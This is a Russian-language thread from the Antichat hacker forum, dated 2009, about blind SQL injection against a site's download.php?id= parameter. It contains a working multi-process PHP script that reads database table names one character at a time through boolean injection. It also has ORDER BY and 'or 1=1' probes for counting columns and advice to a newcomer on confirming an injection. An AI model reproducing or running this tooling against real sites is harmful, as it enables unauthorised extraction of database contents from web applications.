Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

16.04.2009, 17:55
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
AFoST, ну это как бы общеизвестный метод. Iceangel_ же описал способ моментального поиска кол-ва колонок (одним запросом).
|
|
|

16.04.2009, 17:58
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме: 5571194
Репутация:
1934
|
|
Сообщение от [x26]VOLAND
AFoST, ну это как бы общеизвестный метод. Iceangel_ же описал способ моментального поиска кол-ва колонок (одним запросом).
0_о невнимательность.
просмотрел мельком - увидел ордер бай и подумал об этом)
__________________
Появляюсь редко. Важные дела в реале.
|
|
|

17.04.2009, 19:21
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме: 2185909
Репутация:
308
|
|
Вобщем такое вот дело было:
У нас есть сайт,где видим:
Код:
http://www.site.com/download.php?id=2
Аля нажмите что бы скачать файл с номер 2 в базе данных.
Но
Код:
http://www.site.com/download.php?id=2+and+1=0
Не качается,а вот так:
Код:
http://www.site.com/download.php?id=2+and+1=1
все нормально
Поскольку пример общий, то я подумал о том, что техника впринципе шаблонная.
Если у меня от запроса не было ответа, или просто file_get_contents, то была необходимость различать ложные ссылки от подлинных:
Код:
<?
$x=97;
$substring = 0;
$sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
echo "TRUE";
}else{
echo "FALSE";
}
}
?>
1 - максимальное значение, которое я получал, мы читаем strlen длину строки, хотя, если мы получим 1 означает, что символ является правдой.
Код:
<?php
/*
Coded by [underwater]
http://forum.antichat.ru
thx Qwazar
*/
set_time_limit (0);
error_reporting(0);
function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}
function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);
for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); // Получаем значение и сохраняем его
echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}
}
############################################################################################
$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];
$file = rand().".txt";*
while (file_exists($file)) {
$file = rand().".txt";*
}
$pids = array();
for($i=$start;$i<=$finish;$i++)
{
$pid = pcntl_fork();
if($pid == -1) { die('ERROR');
} else if ($pid) {
$pids[] = $pid;
} else {
blind($limit,$i,$file);
exit();
}
}
foreach($pids as $pid) {
pcntl_waitpid($pid, $status);
}
list($data,$vars) = ordenar($file);
echo "Значение :> ".$data."\r\n";
unlink($file);
?>
2 Qwazar: спасибо, исправил, разобрались))
Последний раз редактировалось [underwater]; 18.04.2009 в 18:43..
|
|
|

17.04.2009, 19:52
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
??????
$file = rand().".txt";
if (file_exists($file)) {
unlink($file);
}
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

17.04.2009, 20:03
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Для чего удалять файл со случайным именем?
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

18.04.2009, 10:30
|
|
Участник форума
Регистрация: 26.11.2008
Сообщений: 158
Провел на форуме: 2816163
Репутация:
158
|
|
Ускоренный подбор колонок, можно и символов:
например колонок 30
мы начинаем проверять
order+by+100-- error
order+by+50-- error
order+by+25-- good
order+by+37-- error
order+by+31-- err
order+by+28-- good
order+by+30-- good
order+by+31-- err
=> полей 30
За один запрос мы отрубаем ненужную половину.
Непомню как называетса этот способ, он испоьзуется при сортировки массива.. Думаю неплохо былоб его использовать в скриптах для подбора. Кол-во обращений к бд сокращается в разы.
апд:
/* Для новичков, типа меня, будет просто полезно знать способ*/
апд2:
Где Вы видите что этим способом пользуются все?
скрипт с предидущей страницы. Хотя можно было бы сократить кол-во циклов.
Код:
for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+w here+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); // Получаем значение и сохраняем его
echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
И еще, 2[underwater] зачем при каждой интерации цикла выполнять проверку длинны массива... пустая трата процессорного времени и "тормознутость" скрипта.(я про $x<=count($ascii))
В SIPT4 не могу проверить каким образом подбирается кол-во столбцов, у кого получилось проверить отпишите плз.
Последний раз редактировалось fker; 18.04.2009 в 14:39..
|
|
|

18.04.2009, 14:10
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от fker
Непомню как называетса этот способ, он испоьзуется при сортировки массива.. Думаю неплохо былоб его использовать в скриптах для подбора. Кол-во обращений к бд сокращается в разы.
Этот способ называется "бинарный поиск". Широко используется.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

20.04.2009, 16:54
|
|
Новичок
Регистрация: 24.01.2009
Сообщений: 5
Провел на форуме: 11244
Репутация:
1
|
|
Привет всем, во3ник вопрос ну и что бы не со3давать новую тему вот думаю отпишусь тут может кто то поможет. Вообщем в адресную строку подставляю ' и вместо ошибки ничего не вылетает ну фильтрует как бы просто нет текста ( как я понимаю там должна быть ошибка ) во3можно ли чтото из этого извлечь, надо подбирать количество полей пока текст опять не появиться? Или можно забить на это дело и ничего оттуда не выйдет? Заранее благодарен за ответ.
|
|
|

20.04.2009, 17:03
|
|
Познающий
Регистрация: 04.01.2009
Сообщений: 94
Провел на форуме: 404716
Репутация:
145
|
|
Сообщение от Yosch23
Привет всем, во3ник вопрос ну и что бы не со3давать новую тему вот думаю отпишусь тут может кто то поможет. Вообщем в адресную строку подставляю ' и вместо ошибки ничего не вылетает ну фильтрует как бы просто нет текста ( как я понимаю там должна быть ошибка ) во3можно ли чтото из этого извлечь, надо подбирать количество полей пока текст опять не появиться? Или можно забить на это дело и ничего оттуда не выйдет? Заранее благодарен за ответ.
попробуй использовать арифметические операции
|
|
|

20.04.2009, 17:04
|
|
Участник форума
Регистрация: 26.11.2008
Сообщений: 158
Провел на форуме: 2816163
Репутация:
158
|
|
Какбэ попробуй без кавычек +order+by+1-- или +or+1=1-- если так текс выведется, а так +order+by+999-- или +or+1=2-- ничего не выведется то скорее скуль есть и нужно подбирать кол-во полей. А вообще тебе нужно в спец тему - https://forum.antichat.ru/thread46016.html
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|